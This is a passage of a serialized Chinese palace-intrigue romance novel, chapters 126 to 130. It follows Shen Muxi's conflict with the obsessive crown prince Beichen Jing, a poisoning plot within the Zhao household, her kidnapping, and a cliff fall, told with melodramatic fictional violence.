但很快沈木兮又强忍住身下的酥麻,在他的吻,从下往上开始绵延时,一巴掌重重扇在他脸上。
“我让你停下,听到了吗。”
她力道不小,他嘴角瞬间溢出鲜红。
可他却没有一点停滞,反而凑到她耳边,将那丝鲜红,蹭到了她的唇边,然后顺着那血腥气,贪婪地吻住她的红唇,闷声说:“乖,继续打,还不够。”
果真是个疯子!
沈木兮眼里被他故意勾出的一丝情欲消失,只剩下了冷:“我再说最后一次,
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住、手!”
他犹不肯。
直到,一丝疼痛,从他的肩头上蔓延而来。
北辰景身子一震,突然闷哼一声。
他皱眉缓缓低头看去,苍凉月色下,那把她手中握着的**,就这样刺进了他的肩头处。
一丝丝鲜红,正从里面缓缓溢出。
染红了她的手。
她好像也在轻轻颤抖,但眼神却是森冷又坚定。
“我不想今夜多一个谋害储君的罪名,不过你若是想让我成为那天牢里的阶下囚,明日上了那断头台,太子殿下可以继续。”
他一直想折磨她,又怎会许她这样死掉。
果真,北辰景停下了动作,不知是因为肩头的伤,还是因为她挑衅的话。
他捂住肩膀,身子微微踉跄地后退两步,低头看着从自己指缝里溢出的血迹,诡异的低声笑了。
而后他抬起头,痴痴看着她,眼中没有半分怨怼,也没有震怒,更没有想杀了她。
只是在问。
“那你,可消气了?”
沈木兮冷眸微动,却是别开眼,逼迫自己不要再这个疯子对视!
在看到她手上犹滴着的鲜红,北辰景眉心皱紧,踉跄上前,执拗地伸出手,似想把她手上,那些他的血擦去。
他的血,脏污不堪,会弄脏她的。
沈木兮以为他又想对自己做什么,一把推开他:
“别碰我。”
明明城外的官兵一直在追杀她,还是格杀勿论!
现在又是这副模样,他可真会装啊。
“北辰景,你听着,我不是你的太子妃。那是你骗我的!”
什么答应她一两年的约定,都是他的权宜之计。还有修缮在太子府里的旧居,若她没猜错,那便是他给她打造的囚笼吧。
“我告诉你,我回来了,就代表我不怕死,你想怎样,就对付我一个!不许再伤害我身边的任何一个人!”
她话语决绝,转身的动作更是没有一点迟疑。
大步离去!
她没有回头,除了不想。也是因为,她知道那点伤,是伤不到他的。
她出手也只是逼迫他放开自己。
是以沈木兮走的毫不留恋,很快消失在了巷口。
却没看到,她转身后,巷口里的男人,剧烈晃动后,突然倒地的身形……
第126章 替太子殿下杀了你
等沈木兮回到酒楼里时,赵若岚已经在大堂里焦急等候了。
“小七,你没事吧?”见她身后没人跟来,赵若岚稍一放心,然**住她冰冷的手,“那个太子实在是不像话,你放心,你外祖父已经在准备进宫了,势必不会让你受委屈。”
太子当众带走人家闺女,赵家怎会罢休。
可沈木兮却不想今夜的事闹得太大,即便赵家不惧皇权,她也不能当真给赵家招惹麻烦。
真进宫了,小事也成了大事。
“不用了姨母,太子殿下,他是认错人了。我已经和他说的很清楚明白了。”
赵若岚皱眉,有些狐疑:“是吗?只是认错人了?”
见沈木兮脸色苍白,像是被方才的变故吓到了,她没有再继续多问。
“好,姨母先带你回府。”
如沈木兮所想,赵夷回来后,就找到了她,问起了她和北辰景的事。
沈木兮还是一样的说辞。
赵夷显然是不信的,联想着薛清说小七在京中遇到了些麻烦,心中已经有了猜测。
不过小七隐瞒,他也理解,毕竟对方是那样的身份。
他没有逼问,只宽慰道:“放心,赵家的孩子,不会受任何委屈,也不会有人再欺负了你去。”
沈木兮很是感动,赵家人真的待她和亲生骨肉一样。
这让假装成薛小七身份的她,此刻多了一分愧疚。
也更让她下定决心,自己能解决的事,绝对不会再牵连到赵家人身上。
赵夷和赵若岚都不放心她,回府后,便是前前后后来了好几次。
直到沈木兮睡下,两人才算离开。
其实她没睡,等屋子安静后,披着衣服,走到院中,吹了吹冷风,才算是冷静下。
这次回来,除了因为赵家小小姐这个可以暂时庇佑她的身份外,还因为她想回来打听北辰殷的事。
北辰殷到底是个皇子,柔妃也不是吃素的,若是他真出事了,皇城内外里肯定会闹的很大。
现在京中的平静,竟让她猜测,事情是不是有一丝转机。
或许,他没死呢?
院中的夜风加剧,沈木兮裹了裹身上的外衣,准备回屋子。
就在这时,一道凌厉的寒芒,顺着夜风朝着沈木兮后颈刺来!
沈木兮眸光一变,顺势转身避开。
抬头一看,对上一张熟悉却又带着满脸恨意的女子面庞。
“清鸢?你来这做什么。”沈木兮眉心微凝,语气十分淡漠。
她不想看到他的人。
一看到这些人,就想起在青州逃亡的那段时期,被他戏耍和操控的种种过往。
清鸢双眼泛着红光,像是要**!
一来就冷声质问!
“你为什么要这样对我们太子!”
“我怎么对他了?”沈木兮气笑了。
她沈木兮对他的容忍,对他付出的一切。
难道还不够吗?
她就是对他太好了,才会次次被他掌控和伤害!
沈木兮也懒得和这些人废话,转过身:“清鸢,你别再来了,我不想看到你们。”
清鸢怒上心头。
“你!我要替太子殿下杀了你!”
“清鸢,住手。”
突然出现的离阙挡住了清鸢的杀招,他看去沈木兮,眼神比清鸢的还要冷,也带着一丝恨意。
“跟我回去。”
清鸢不肯:“可是,是她今夜伤了……!”
“走!”
在离阙的低吼声下,清鸢还是被迫收回了剑。
临走时,离阙最后警告地看了沈木兮一眼,冷冷地丢下一句:“若是今夜太子殿下出了什么事,不用清鸢出手,我也会让你不安宁。”
沈木兮听出了什么。
他们前来,是因为自己今夜刺他的那一刀。
可他们对她的折磨和伤害,和对其他人的伤害呢?
她才反抗了这么一次,还是那么轻的一刀,就受不了了吗?
沈木兮没有理会。
离阙带着清鸢转身离去的同时,几道蛰伏在赵家高墙暗夜下的黑影,也飞速离去。
同时,一辆马车缓缓驶到到了赵家门前。
门房上前。
“是二夫人。”
“咦,二夫人不是和将军一起去揽月楼了吗,怎么这个时候单独才回来呢?”
李氏瞪去一眼。
门房知道自己话多,赶紧闭嘴,识趣儿地开门。
“是小人多嘴,二夫人请。”
李氏冷哼一声,丢给了那门房一块银子:“本夫人许久没回
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京,出去多转了转,买了些小物件。你也知道,大哥他性子刚直,不喜家中人随意在京中和人来往,本夫人不想生事,闹得全府不安宁。”
门房了然,谄媚地说:“那是那是,小人今夜,可什么也没瞧见。”
李氏这才满意,回了自己的院子。
她挥退了身边人,也没惊动小苏氏,等到了屋中,缓缓把手里的东西拿出来。
黑夜里,眼中闪过一丝阴谋冷笑。
……
次日一早,沈木兮睡到日上三竿才起来。
赵夷已经进宫了。
午膳就只有赵若岚和李氏等人在。
赵若岚说,今日天色好,等吃了饭,午后阳光正好时,带沈木兮出去走走。
沈木兮并不太想出去,还没说话。
李氏在旁就道:“是啊,出去走走也好,只是这天说变就变,不过出去前,也得多吃点。瞧小七,当真瘦的很,之前在青州,是不是受了委屈?”
她给沈木兮盛了一碗汤,满脸都是关怀笑意。
“对了,一直没听说过**事。不知她当初是怎么被欧阳家捡到的……”
赵若岚一看李氏那样子,就知道她要放什么屁,她放下碗筷,沉声打断说:“晚芙生下小七后不久就过世了,她能知道些什么。二婶,还是吃饭吧。”
李氏尴尬笑笑,不再说话了。
沈木兮看了李氏一眼,知道这个李氏还在怀疑自己。
不过这人一看,就知道心思不正,都是一样**丈夫的人,赵若岚打扮简单素净。倒是她,一大把年纪了,穿衣打扮比年轻一辈还要妖艳。
总之,她直觉这个李氏不是什么善茬。
是以也没有去动李氏递到自己跟前的汤,只吃了赵若岚给她夹的菜。
一桌饭,就这样安静的吃着。
直到要下桌时,赵若岚突然身子一歪,撑着前额,脸色青白,直直朝地上栽了去!
“姨母?”
沈木兮赶紧把人搀扶起。
“哎呀,若岚怎么了这是?”李氏竟像是比沈木兮还急,扯着嗓子对外喊,“快!快去请大夫。还有,再传消息去宫里,知会儿将军一声!快去啊!”
沈木兮在那看着李氏着急的样子,眉心微不可查凝起。
第127章 真假小姐
不过现在赵若岚情况危急,她没功夫去想李氏的问题,很快把赵若岚带去了侧屋的小榻。
赵夷本就在回府的路上,听到管家传来的信,当即抢过了随行亲兵的马儿,策马匆匆回来了。
倒是比大夫赶的还快。
“若岚!若岚!”
李氏在旁掩着哭红的眼:“大哥,你放心,大夫马上就来了。”
赵夷前脚刚到,后脚大夫就提着药箱被迎了进来。
李氏赶紧迎着大夫来到床边。
见着李氏那忙前忙活的样子,沈木兮盯着她看的眸光越发的深。
不过赵若岚都是和大家一起吃的午膳,若是出事,旁人为何没有出事。仅仅是这样想栽赃,也太草率和简单了些。
大夫给赵若岚仔细检查了一番,又去外面的桌前看了一番今日的膳食:“大将军,不知大小姐可否有什么餐食的禁忌?”
“我看大小姐的症状,倒像是过敏所致。”
过敏?
赵夷低头看去,果真见赵若岚不仅仅脸色苍白,呼吸渐弱,露出来的肌肤上,还出现了不少红疹!
他顿时气血上涌!
“是,她和她母亲一样,不能吃榛子一类的东西。”
大夫颔首:“那便是了,我看那桌上的菜肴里,便有此物。”
李氏凑过去一看:“哎呀大哥,还真是啊。”
“我赵家的女子,生来就对这些东西过敏,这些后厨房的奴才,真是该死,我们才回京,就这么随意对付吗?连主子的禁忌都忘了!”
旁边的小苏氏也赶紧道:“快快快,给我家小七也看看,她也吃了。”
这时,所有人的目光,这才看去沈木兮。
沈木兮:“……”
好家伙,先前她就觉得,这件事不会是栽赃陷害那么简单,没想到,竟是在这等自己呢。
那现在她装晕还来得及吗?
“咦,可是小七看起来,像是没什么大碍啊?”小苏氏故意扬起声调。
李氏像是才后知后觉,打量着沈木兮:“是啊,小七你怎么没事呢?”她说话间看去赵夷,满脸关心下却是藏着深深算计。
赵夷也盯着沈木兮,目光里的担忧之色中,逐渐多了另外一层东西。
不怪沈木兮今日失策,她虽然提前从薛清那获知了赵家的很多事,自己也查过一些。但却不知道这些人家自己的小事。
这个李氏,倒是让沈木兮低瞧了。
沈木兮心中冷笑,在所有人都盯着自己时,做出一脸单纯无害,心有余悸的样子说:“好在方才我没吃那几样菜,未曾出事,不然姨母身子不适,还得照顾我,那可如何使得。”
小姑娘脸上全然是这个年岁,遭遇事情时该有的后怕,以及对长辈的关心。
赵夷一听,面色有所缓和。
小苏氏却是跳起来说:“什么没吃,你明明吃了!”
李氏一听就暗道不好,还没及时捂住小苏氏的嘴。
沈木兮就眯眼看来,声音里带着困惑:“哦?表嫂原是知道哪盘菜有问题吗?那若是知道,怎不提前告诉姨母和我?”
“那这可就是表嫂的不是了。”
“……”
小苏氏脸色顿时铁青一片,急忙看去李氏。
李氏瞥了眼赵霁暗沉的面色,心下一惊,当即说:“大哥,是苏氏记错了,定是她记错了。若是我们知道哪盘有榛子,怎会让若岚和小七吃下?这不是害人吗。”
在赵夷的眼神逼视下,李氏的声音越来越低,脸色也逐渐苍白,心中暗骂沈木兮这张利嘴!处于劣势,三言两语便能逢凶化吉,还倒打一耙!
可李氏却不会这样放过。
“大哥,其他的事之后再说,现在为了小七的安危着想,还是让大夫先给她瞧瞧吧。”
沈木兮心中一冷,这李氏还真是不搞死她不罢休。
可她怎么就这么确定,自己不是薛小七?
竟连一点她自己的后路都没留。
就不怕万一她真是薛小七吗?
沈木兮敏锐地觉察到了什么。
赵夷虽然脸色很是不好看,但并没有出声阻止,想来方才的事,到底是让他心中生出了一丝疑虑。
就在大夫要上前来,沈木兮正打算再次开口时,一只手突然伸出,拽了拽她。竟是服药后,正缓缓苏醒过来的赵若岚。
不愧是武将之女,这就缓过来了。
她撑靠起身子:“父亲,小七方才的确没吃那道菜,您放心,她没事的。”
沈木兮眼神里的冷色退去,有点惊异地看去了赵若岚。
有了赵若岚的担保。
赵夷锐利眼神里生出的异色,这才缓缓消失:“嗯!小七没吃便好。”
“好了,快送大小姐回院子!今日负责午膳的奴才,全部拖出去,仗打五十军棍!”
沈木兮眉心一皱。
赵夷应该已经知道,这件事里有李氏的算计,但看在当初为了救他而赴死的二弟份上,他终究是没有去深究,选择了大事化小。
这已经是很容忍了,可李氏却不肯了。
“大哥,我看还是给小七把把脉吧……”
赵夷老眼犀利地瞪去!
“弟妹,小七有没有事,我还看不出来吗?好了!都下去吧,乱糟糟的,不知道的还以为我将军府出什么大事了呢!”
“小七和若岚都受了惊吓,这几日里,闲杂人等,都不许前来惊扰!”
见大哥都发话了,李氏也不敢做的太过火,只好作罢。
但她知道,大哥的性子最是多疑,见他先前的那道看去沈木兮的眼神,总归心里还是有了些疑心的。
午膳事后,沈木兮把赵若岚送回院子,望着床上的她,几番欲言又止。
“姨母,我……”
赵若岚肯定是猜到了什么的。
可是为什么,她会为自己掩护?
赵若岚挥退了其他人,只留下沈木兮。
她
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握着沈木兮的手轻轻拍着:“傻孩子,你是我和你外祖父,都认定的赵家小姐,那便就是。”
从第一眼见沈木兮时起,赵若岚就觉得这个小姑娘和自己特别有缘,很有一种亲切感。
其实她也知道,丢失的血脉,哪里又是那么容易找回来的?更别说还差了一辈。
赵夷这么多年来,为了丢失的小妹,一直劳心伤神。赵若岚不想再看到父亲难受。即便是假的,也当成真的,好歹让他老人家有个念想。
退一万步讲,沈木兮这张和他们赵家人如此相似的脸,即便没有血脉,但怎能不算是另一种缘分呢?
沈木兮眼圈微红,蹲下将脸靠在她的手背上。
“姨母,你听我说,我其实……”
赵家对她太好了,越是这样的好,她越是心觉愧疚。
“好孩子,什么都不用多说了。有些事,不知道比知道的好。”
看着赵若岚温和,又期盼她留下的神情,沈木兮欲出口的真相,又硬生生咽了回去。
在这陪赵若岚睡熟过去,沈木兮出了她的院子,站在外面,她的眸光骤冷。
先前她没想这些,此刻冷静下来,心中越发觉得古怪。
那饭菜里即便被加了榛子,赵若岚该是很警惕和熟悉这味道的,又怎会吃不出来?还有将军府的奴才,怎会不知道主子的禁忌。
除非,饭菜里添加了一些,可以悄无声息遮掩气味的东西。
沈木兮听着外院里传来仗打奴才的惨叫声,眼神忽明忽暗。
“小愿,我待会儿可能要出府一趟。”沈木兮说。
“那奴婢要不要陪着小姐?”
“不必了。”
小愿当即明白,沈木兮这是要私下出府,她识趣儿的没有多嘴。
冷风吹起沈木兮的袖子,隐隐可见沈木兮手臂皮肤上的零星红疹。
因为数量少,也没什么感觉,所以并没有被沈木兮觉察。
待风声拂过,袖口落下,什么也不知道了。
……
如沈木兮所想,午膳时的事刚平息下没多久,李氏就匆匆出府了。
还是一个人。
李氏的马车刚出街,沈木兮也跟了过去。
不多时,她尾随李氏来到了一处京城的酒楼。
这酒楼不是主街道上的,四周来往的人少。
一看就是故意挑选的见面场所。
沈木兮不知道李氏见的人是谁,但为了不打草惊蛇,她没有再跟着进去,只在外面蹲守。
李氏进了酒楼后,四周张望,然后熟门熟路的来到了酒楼二楼的某个房间。
房间门一开,晦暗光影下。
一道男人的颀长身影,正背身伫立在帘子后。
看不清楚脸,只知对方身上的衣袍十分奢华高贵,嘴角勾着似有若无的笑……
“那个小**真有两下子,这就把赵若岚也给收买了,今日竟被她给躲了过去!”李氏一来忍不住低骂道。
第128章 巨大的阴谋
约莫小半个时辰后,李氏心满意足的出了酒楼。
沈木兮没有走,而是继续蹲守。
在李氏出来的下一刻,另一辆马车也从酒楼巷子里窜出。
沈木兮抬眼看去,脸色当即就变了,抓着墙壁的手,逐渐收紧。
前方,驾车驶出的离阙,感觉到了一道森冷的视线,抬头一看,那道身影已经到了近前。
没想到会在这遇到沈木兮,离阙神情一变,下意识看去了车内的方向。
马车里端坐的男人,一瞬的愣怔后,阴暗光线的湿冷眸光,一点点生出亮色,苍白的唇扬起激动弧度。
在北辰景欲着急掀开帘子的下一瞬,外面响起那道熟悉声音,却比上次所见时,更要冷上一个度。
“果真如此吗。”
早知道是他,她也没有怀疑过其他人。
昨夜离阙才对她丢下过狠话,今日当真就不让她安宁了。
“北辰景,你害了北辰殷还不够,现在是又盯上了赵家是吗?”
北辰殷……
离阙原本漠然的表情,终于有了些异样,皱眉说:“九皇子?太子妃,你该不会以为九皇子是……”
车内,北辰景在沈木兮说出那一句话时,神色便陡然变了,锐利阴谋倏地眯起,像是终于洞察出了,那一直被他忽略的东西!
他几乎是下意识呵斥出声:“离阙!”
离阙登时住口,不明白太子为何不让他说。
“回府。”北辰景又道,声音冰冷命令,又带着些许的急切。
“太子……”
“我说,回府!”
沈木兮没管这主仆二人的异样,就这样盯着他们的马车调头离开!
他什么解释都没有,这是默认了吗?
早知道是这样,也只有他,才会迫不及待,想揭露她的假身份!
可是她的心,却还是刺刺的疼。
但越疼,她的眼神却是越发的冰冷漠然。
逐渐远去的马车里,有人掀开帘子一角,看去了后方越来越远的女子身影,转头看去身边,冷艳侧脸杵在车内暗光里的男人,皱眉问。
“你,为什么不告诉她,那夜对我出手的人,不是你。反而是你救了我?”
其实,那夜若沈木兮在那多看一眼,就会看到,北辰殷被离阙等人抬去着急救治的场景。
北辰景睁开幽眸,看了眼身侧的男人。
对面的男子脸色苍白,气息虚弱,俨然是艰难捡回一条命的北辰殷。
北辰景没有回答,依旧是声线森冷的命令!
“离阙,快。”
“是!”
马车速度极快,很快回到了太子府。
“殿下,小心点,您肩头上的伤……”离阙还准备搀扶他,却被北辰景一把挥开。
他脸色极冷,大步流星,来到了北辰晔被关押的密室。
密室还是那样阴森森的,炭火噼啪作响,地下囚的男人身影,也依旧钉在木桩子上!
这是当初北辰晔囚禁北辰景的场景,他不过是把这一切,原封不动的还了回去而已。
“抬起他的脸。”北辰景盯着那个血人,眼神冰冷彻骨!
离阙照做。
“是!”
等看清此人模样,离阙脸色大变,转头看去主子。
“殿下,不是夜王!”
北辰景盯着那张完全陌生的脸,阴湿眸中迸射出诡异光芒,他冷不丁笑了。
还真是如此呢!
北辰晔,真有他的。
离阙当即跪下:“是属下没有看管好他!还请太子责罚!”
现场的手下,也纷纷跪了一地!
自打太子府新婚后的这段时日,北辰景一直在伤重,他们便都忽略了夜王这边。
竟给了夜王可乘之机!
北辰景仰头,由着密室里的暗光侵蚀自己的脸,他没有动怒,反而扬起红唇,阴冷笑着说:
“去,找出那个奸细。”
夜王的人,来了一波又一波,都没成功过。这次能逃,怎会没有内应呢。
离阙也是这样想的。
同时他也明白了,方才太子为何不告诉太子妃这些。
太子先前定是在车内时,就瞬息洞察出了这一切!
也知道,夜王的目的,是为了让太子妃和太子离心。很可能,对方其实早已查出,太子妃薛小七身份和赵家有关联。所以为了不让太子得镇国将军府的支持,故意如此!
方才可是在人来人往的街道上,若是被夜王藏匿在街道暗处的人发现,太子妃已经知道了真相,必定马上会有下一步计划。
所以,方才若直接说了,太子妃肯定会出事的!
可是,当真要让太子妃,就这样误会太子下去吗?
离
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阙看着北辰景,再看着他肩头的伤,有几分不忍。
“殿下……”
北辰景一样看着肩头的伤,像是在透着那伤,在看着她,眸光轻轻的,柔柔的,勾着那一抹湿红。
原来,她只是误会了他。不是真正的讨厌他。
她肯定,还是喜欢他的。
一定是。
可怎么办,现在的她,在赵家,定是十分的危险。
北辰景眉心紧皱,似是很认真的在思考着这个问题。
他要怎么,才能保护她的安危,不让她受人伤害?
夜王的城府算计,不是她能抵挡的一二的。
又或许,夜王已经在准备动手了呢?
北辰景猛地抬头,脸色已经恢复幽暗,眼中划过狠戾,丢下所有人,头也没回的着急离开了密室。
……
另一边,沈木兮还在街道上。
她因为是步行出府的,是以还在回府的路上。
“听说了吗,今日太子府,就在刚刚,又处**好几个人。”
听到路边一些过路百姓的对话声,沈木兮眼神闪烁。
“这太子真是残忍至极,我听说,那些都是太子府里的奴才,什么事都没犯,直接就被当街处**,手段之残忍!连一具全尸都没有!”
“可不是,说是尸体还被装进了满是老鼠的袋子里,就这样丢在街上,由着老鼠啃食残躯……啧啧……”
这些人说着,身子不住打颤。
沈木兮听到了,没什么反应,只是双唇紧抿,眼神更冷了些。随后加快步伐回了将军府。
回去后,沈木兮先是去看望了一番赵若岚,确定姨母没什么大碍,她才回了自己的屋子。
今日赵家出这些事,无非就是因为她。
沈木兮攥了攥双手,沉默地走到桌前,开始落笔。
她决定好了,她要离开。
赵家是不怕皇权,但抵不住对方层出不穷的暗招。
只有她走,周围的人才会安全。
至于她自己,都是命!
若是要让这么多人付出惨痛的代价,来换自己的安危,她宁愿不要。
就在沈木兮在写下那一封离别信时,屋中的蜡烛,突然被外面的幽风吹灭!
一片黑暗袭来,沈木兮顿生警觉。
“谁!”
刚说完,一张大网对着她当头罩下!
第129章 永不让他如愿
一瞬的功夫,等冷风再次吹进屋中时,只剩下落在地上的那根笔。
在月光下,散发着诡异的暗光……
春日虽然回暖,但夜里的凤,依旧是森冷刺骨。
沈木兮苏醒来时,正被颠的难受。
她被装在一个**袋里,正被那人扛在肩头。
不知道要带她去什么地方。
但可以确定的是,这些人潜伏入赵家,是直接对付她而来,没有惊动和伤害赵家的其他人。
这让沈木兮心中松口气,但依旧没放松警惕。
她没有声张,而是静静等待时机。
她是说过,自己离开赵家后,一切都是命。但并不代表她会对命运屈服。
直到这时,她感觉到扛着自己的这男人,跑的气喘吁吁,有点够呛时,突然出声道。
“大哥,这样扛着我,你也怪累的,不然你把我放下,我自己走。”
麻袋里传出声音,扛着她的男人,低骂了句:“臭丫头,收起你那些心思吧!老子不吃你这套!”
从这粗鲁骂语里,沈木兮已经简单辨别出对方的大致底细。
应该就是江湖上一些打手。
赵家守卫严苛,那些精锐士兵也不是吃素的,这些人能顺利带走自己,肯定是有内应。
至于这个内应是谁,已经不用多说了。
“可是大哥,你这样颠得我肚子不舒服。哎呀,真的好疼,肚子好疼啊……这样吧大哥,你让我去解个手,我舒坦了回来,你继续扛我走,行不!”
话落,那男人果真感觉到一股小水流,在自己的肩头蔓延开。
人的鼻子会因为大脑的引导,下意识行成主观意识。
那男人还真觉得自己闻到了一股骚臭味!
赶紧丢下她,掀开麻袋大骂。
“娘的,你别拉到我身上来了!赶紧去拉!”
李氏也真是,舍得花钱找人,却舍不得花大钱。
知道这些是一堆笨贼,沈木兮心中也松口气了,她点头如捣蒜,赶紧跑去旁边的小树桩子下蹲了起来。
这几个人虽然不太聪明,但颇有自己的职业操守,愣是守在她四周。
趁机逃,也是不可能的。
况且她也没想过就这样逃走,出来“解手”,不过是为了挣脱束缚,顺便观察一下四周的地形。只可惜她方才那一瓶随身携带的伤药水了。
沈木兮左右四望,对方是不聪明,但她一不会武功,二没有医术,想从这几个大男人手里逃走,比登天还难。
但好在,她那些年在江州山村里的日子,也不是白混的。
“行没有!再不出来,老子现在就杀了你!”
“来了来了。”沈木兮提着裤子,屁颠屁颠从草丛里跑了出来。
就在那几个要继续用麻袋罩住她。
夜下女子眼中的谄媚乖巧,瞬间被一道凌厉冷笑覆盖。
只见她抬手,瓷瓶里的不明汁液,已经被洒在了众人身上!
那几个男人一愣,随后一抹脸上的不明物:“什么破玩意儿?”
骂了一句,又要朝她这边过来!
“别动!”沈木兮冷漠的警告说,“这是我独家配方的毒中之王,**什么的,都得跪地磕头叫我这个是姑奶奶。”
“鬼才信你,进个林子就变出毒水了,想骗谁呢!”那人破口大骂。
沈木兮耸肩:“不信也罢!那你现在有没有觉得,被我那毒水触碰过的地方,开始变得酥麻瘙痒?”
原本还不信的几人,突然间脸色大为不妙了。
“大哥,还真有点痒,不会真是剧毒吧!”
当然不是剧毒,只是树林里的野漆树汁液沾上人体后的过敏症状。
一开始是瘙痒,紧接着便是浑身刺挠,生出脓包。
虽然事后会自行恢复,但现在已经够他们吃一壶了!
此刻,这些人已经完全相信了沈木兮的鬼话。
“哎哟,赵家小姐啊……”
“叫姑奶奶。”
“姑奶奶,饶命啊,我们只是为了赚银子,才听那赵家二夫人的话,把你绑走的啊。”
果真是如此。
“你们想活命?也成,但是必须听我的话,不然没有解药。”
“好好好,姑奶奶让我们做什么都成!”
沈木兮抱胸
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看着他们:“看你们年岁不小了,个个还长的肥头大耳,油光锃亮。想来这些年,在李氏身边,为她做了不少**越货的事吧。”
“天地良心,这些年来,我们只帮她绑走过人,绝对没做过**的勾当啊!”
沈木兮敏锐地注意到了“绑走”两个字。
她心中一动,就在她想盘问之时,四周的风声,突然变得萧索凛冽!
后面的山林里,还席卷而来了一波杀气。
这是有别于前面这些蠢贼,不一样的气息。
是真正的高手。
沈木兮心中一凛,把这几个人的脸记住,转过身就朝着山林中跑去!
可惜,那些黑衣人比她所想的更厉害。
很快就追上了她。
“沈木兮,你还能跑到哪里去!”
方才那些人,都只知道她是赵家小姐,
这些人,却是直呼出她的真实姓名。不用说,也该知道他们该是谁的人了吧。
沈木兮脸已经冷了下来,她闭了闭眼,双手轻颤着紧紧握住。
太子的人手,不好直接进入将军府,便借着李氏的人,将她弄出来。
可真是……好算计。
“沈木兮!跟我们走吧,你乖乖回去,我们太子殿下还能绕了你一命!不然,现在就能把你处死,剁成肉渣!”
这一群黑衣人,手拿大刀,眼神里带着的是毫不遮掩的杀意。
一点点将沈木兮,从林中,逼退到了断崖边。
黑夜下,身后的断崖冷风呼啸,肆意吹打在她周身。
断崖边她的裙摆和青丝随风乱舞,遮掩了大半张脸,可她的眼神,却是极致的平静。
“就这么想杀了我吗。”
“回去告诉你们的太子殿下,他、做梦。”
暗夜里,女子冷笑一声,眸光冷冽,就这样朝着身后的断崖下坠去!
即便是自己摔残,摔死。
她也不会让他如愿。
他折磨她,那她,也要还回去!
“不!”
一道撕心裂肺的男人嘶吼,从后方的林子里传来,发疯了一般!
带着那熟悉的轻颤!
第130章 那就……一起赴死吧!
沈木兮身子在这一瞬间猛地一震。
但很快,她又恢复了方才的神色,对于对他的出现,她并不意外。
他的人,都追她到这了,那他出现,又有什么不对劲的呢?
因为在她仰头下坠那一瞬双眸紧闭,是以并没有看到,随着北辰景的出现,他身后的离阙等人,瞬息间和这些黑衣人们厮杀一起的场景。
她耳边只有风声,和他那痛苦到几乎绝望刺骨的嘶吼!
“不要——”
紧接着,又是一道风声袭来。
电光火石间,她已经被他的手臂牢牢抓住!
断崖边。
还是那熟悉的一幕。
像极了那一次,他们随着夜王离开江州时,他也是这样不顾危险,在崖边救下了自己。
连此刻他湿红眼中的紧张无措,也没有变。
甚至比上次,更要惊慌极了。
瞳孔都在颤!
仿佛她真的是他的什么至宝,若是她这样坠了下去,他也会跟着死掉。
沈木兮仰头看着他,眉心一点点皱起。
他看起来,真的好着急。
可他就是用这张无害的脸,骗了她一次又一次。
又让她该如何去信他呢?
沈木兮轻笑了声,开始挣脱开他的手。
“北辰景,你不必如此的。放过我吧,也放过你自己,好吗。”
北辰景感觉到她的手,正逐渐从自己手中脱离的动作,猩红双瞳猛地震颤,心中的无措惊慌感,几乎蔓延至了他的四肢百骸!
“不,不要!你说过,要陪着我,不会走的。”
说过的话,就要算数。
他不许,她再像上元节时一样的骗他!
这里不像是江州的山涧,此地的断崖边全部是尖锐石壁,因为沈木兮的挣扎下坠,他的手臂,已经被磨出了无数道血痕。
一股股的刺眼鲜红,顺着他的手臂,朝着沈木兮的周身滴落。
可即便是如此,他也不愿意放手。
好像那疼根本不是疼。
沈木兮再冷漠,此刻看着那滚烫的鲜红,也是瞳孔微缩,脸色骤变,脱口道:“你疯了吗!”
他只是这样委屈盯着她,固执地说。
“我只要你回来。”
“北辰景,你真**是个疯子!!”
她真的受够了。
明明知道,她最受不了他这副样子!为什么要这样折磨她!
最后一刻,沈木兮咬了咬牙,将眼底那一瞬溢出的晶莹逼退,别开脸,最后的一瞬挣扎后,撇开了他的手。
“北辰景,就这样吧,饶了我,算是我求你了,好不好……”
风声掩盖了她的字句。
北辰景手中的那一刻真实的滞空感,却是让他脸色大变!
不,不!
在沈木兮坠下去的那一瞬,他几乎是没有迟疑,也跟着跳了下来!
仿佛这是本能的动作,已经超乎了生死。
“太子!”
“太子殿下——”
崖边上离阙等人急切的呼喊声传来,沈木兮才在呼啸风声里睁开眼。
入目,是他朝着她坠来时,那一张绝艳带笑的脸。
他在告诉她,别怕,他会陪着她。
还在说:
“我说过,你再也不许丢下我。”
“不可以,再也不可以……”
沈木兮这一次,是真的震住了。
她知道他疯批偏执,但已经到了要和她一起赴死的地步了吗!
若真是到了这个地步,他又为何还要派官兵,直接果断的追杀她。
她突然意识到,像是有哪里不对劲。
还有此刻上方崖边,那些袭来的浓重血腥气,和她后知后觉,耳边残留的那些缠斗声……
有什么东西,正在悄然冲破黑暗,即将迎来新的破晓黎明。
然而,冷冽刺骨的朔朔崖风,已经让她无法冷静去认真思考。
紧接着,便是一片浓浓的黑暗。
她唯一记得的,就是在她失去意识的那一瞬,他用着他的身子,抱住了她,翻身替她挡住了断崖下的一切风雨!
一滴晶莹,从她的眼角随着崖风划落。
她闭上眼,最后一次唤了一声。
“景愿……”
山风呼啸,掩盖了一切,也掩盖了这血色之夜。
断崖边那一幕发生的同时,另一边,蛰伏在林中的另一行人,相视诡异一笑,如同鬼魅一般,朝着京中的另一个方向行去。
夜王府。
久别的亲王府门处,消声灭迹许久的北辰晔,已经换上了属于他的亲王**袍,站在了高阶
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之上。
听着属下传回来的断崖消息。
北辰晔终于笑了,因为备受折磨,满是伤口的瘦削面部,此刻在暗夜里,显得狰狞极了。
“北辰景,你和本王斗!斗得过吗?”
世间最忌的就是软肋,你有软肋,就意味着你必输无疑!
“王爷,当时太子两人坠崖时,断崖上还有他的人,万一……要不要派人去找找?”
“这不妥吧。”
北辰晔和其他人,登时看去了说这话的冷刃。
冷刃被北辰晔一盯,忙不迭跪在地上:“王爷息怒,属下只是觉得,今夜的动静不算小,这会儿巡城军的人已经出城去了。万一和咱们撞上,反倒是给王爷招惹是非。”
另一个手下却说:“冷刃,你当真是在太子跟前呆久了,人也变得优柔寡断。怎么,难不成,你在太子府蛰伏,心也跟着去了太子那边,忘了我们王爷才是你真正的主子?”
“说来也是,太子处**身边的所有叛徒,怎就偏忘了你呢。”
冷刃脸色微变,继续跪在北辰晔跟前,拱起双手,高声说!
“王爷,属下对您的忠心,天地可鉴!若王爷不信属下,现在就可以直接手刃了我,属下断没有怨言!”
北辰晔看了眼已经拔刀,准备自刎的冷刃,出声打断说:
“好了,鬼灵,本王信他。”
他上前亲自将冷刃扶起,几分狰狞的脸上,带着平和的笑。
